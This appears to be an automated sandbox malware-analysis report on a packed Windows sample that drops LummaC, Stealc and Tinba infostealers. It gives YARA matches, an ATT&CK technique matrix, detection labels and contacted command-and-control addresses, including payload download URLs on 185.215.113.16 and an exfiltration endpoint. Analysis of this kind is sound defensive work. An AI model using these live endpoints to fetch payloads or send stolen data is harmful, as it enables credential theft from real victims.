Source: 4feecdc349.exe.1.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: 4feecdc349.exe	Binary or memory string: WIN_XPe
Source: 4feecdc349.exe	Binary or memory string: WIN_VISTA
Source: 4feecdc349.exe	Binary or memory string: WIN_7
Source: 4feecdc349.exe	Binary or memory string: WIN_8

Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior

Source: Yara match	File source: 0000000C.00000003.4039251705.00000000014D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.4101117639.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.4100850819.00000000014D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4128255827.00000000014E3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.4008212811.00000000014CC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.4103359855.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.4109303795.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.4102077094.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.4102760250.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.4099638699.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.4039669635.00000000014D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.4039102203.00000000014CC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.4040515221.00000000014D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.4105918796.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.4107712264.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.4111342203.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.4109866437.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.4067193051.00000000014CF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.4008262593.00000000014D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.4112142395.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.4064950579.00000000014CC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.4096727347.00000000014CC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.4110717216.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.4110446428.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.4101563344.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 11caca4b5d.exe PID: 6692, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 11caca4b5d.exe PID: 3288, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 4feecdc349.exe PID: 2892, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 11caca4b5d.exe PID: 6692, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 11caca4b5d.exe PID: 3288, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 0000000B.00000002.3970121321.00000000017AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3962571157.0000000000B21000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.4046194652.00000000054E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.4126851506.000000000175B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.3917037714.00000000054F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.4117545472.0000000000B21000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 95716ab34b.exe PID: 884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 95716ab34b.exe PID: 412, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009C1204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		13_2_009C1204
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Code function: 13_2_009C1806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		13_2_009C1806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	21 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	11 Native API	2 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	4 Obfuscated Files or Information	Security Account Manager	12 File and Directory Discovery	SMB/Windows Admin Shares	21 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	2 Valid Accounts	12 Software Packing	NTDS	239 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	981 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	12 Process Injection	1 Extra Window Memory Injection	Cached Domain Credentials	451 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Scheduled Task/Job	11 Masquerading	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	11 Registry Run Keys / Startup Folder	2 Valid Accounts	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	451 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	21 Access Token Manipulation	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	12 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	55%	ReversingLabs	Win32.Packed.Themida
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	34%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	34%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	55%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
http://185.215.113.16/luma/random.exe6ded(	0%	Avira URL Cloud	safe
https://screenshots.firefox.com//shims/google-publisher-tags.js	0%	Avira URL Cloud	safe
http://185.215.113.16/off/random.exe4c61395d7f0	0%	Avira URL Cloud	safe
http://185.215.113.2064	0%	Avira URL Cloud	safe
https://atten-supporse.biz/apiU3	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exesHHK	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exeD	0%	Avira URL Cloud	safe
http://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/JSONFile.sys.mjsresource://gre/modules/J	0%	Avira URL Cloud	safe
https://atten-supporse.biz/api/Z	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exep1	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
atten-supporse.biz	172.67.165.166	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
youtube.com	142.250.181.142	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
spocs.getpocket.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://atten-supporse.biz/api	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://mail.google.com/mail/?extsrc=mailto&url=%sAttempted	firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/proposedEnrollment	firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/website-translationresource://gre/modules/DownloadIntegration.sys.mjs	firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/schemaVersion	firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://youtube.com/account_getBoundsWithoutFlushingDOM_VK_WIN_OEM_FJ_MASSHOUshowRemoteTabsFromFxaMe	firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001A.00000002.4140184782.00000253925D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125865060.0000015865272000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4125343821.000001E59D386000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/disableGreaseOnFallback	firefox.exe, 0000001A.00000002.4499929210.00000253A4182000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/originsDaysCutOff	firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType	firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/spocs	firefox.exe, 0000001A.00000002.4459980484.00000253A0258000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F413000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4511797530.00000253A6261000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/insecureFallback	firefox.exe, 0000001A.00000002.4499929210.00000253A4184000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001A.00000002.4500503968.00000253A4206000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A410C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4108000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4495762055.00000253A2FDB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4497409881.00000253A3E91000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4103000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestBlockingEnabledhttp://mozilla.org/#/properties/quickSugg	firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	false		high
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 0000001A.00000002.4222089313.000002539E62C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4222089313.000002539E612000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches	firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com//shims/google-publisher-tags.js	firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001A.00000002.4510726727.00000253A5DB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4036188223.00000253A221F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4036868673.00000253A225A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4493337091.00000253A2C3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4479641147.00000253A1970000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.4035830721.00000253A2000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4037355040.00000253A2277000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E703000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/userFacingName	firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exe6ded(	skotes.exe, 00000001.00000002.4125953061.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/quickSuggestSponsoredEnabled	firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4036390962.00000253A223C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4036188223.00000253A221F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4036868673.00000253A225A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4479641147.00000253A1970000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.4035830721.00000253A2000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4037355040.00000253A2277000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.2064	95716ab34b.exe, 0000000B.00000002.3970121321.00000000017AE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/0	firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/apiU3	11caca4b5d.exe, 0000000A.00000002.4124966680.00000000011F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://json-schema.org/draft-06/schema#Items	firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/addonsUITreatmenthttp://mozilla.org/#/properties/localizations/anyOf	firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 0000001A.00000002.4222089313.000002539E62C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4222089313.000002539E612000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	false		high
http://mozilla.org/#/properties/outcomes/items/properties/priorityhttp://mozilla.org/#/properties/br	firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	false		high
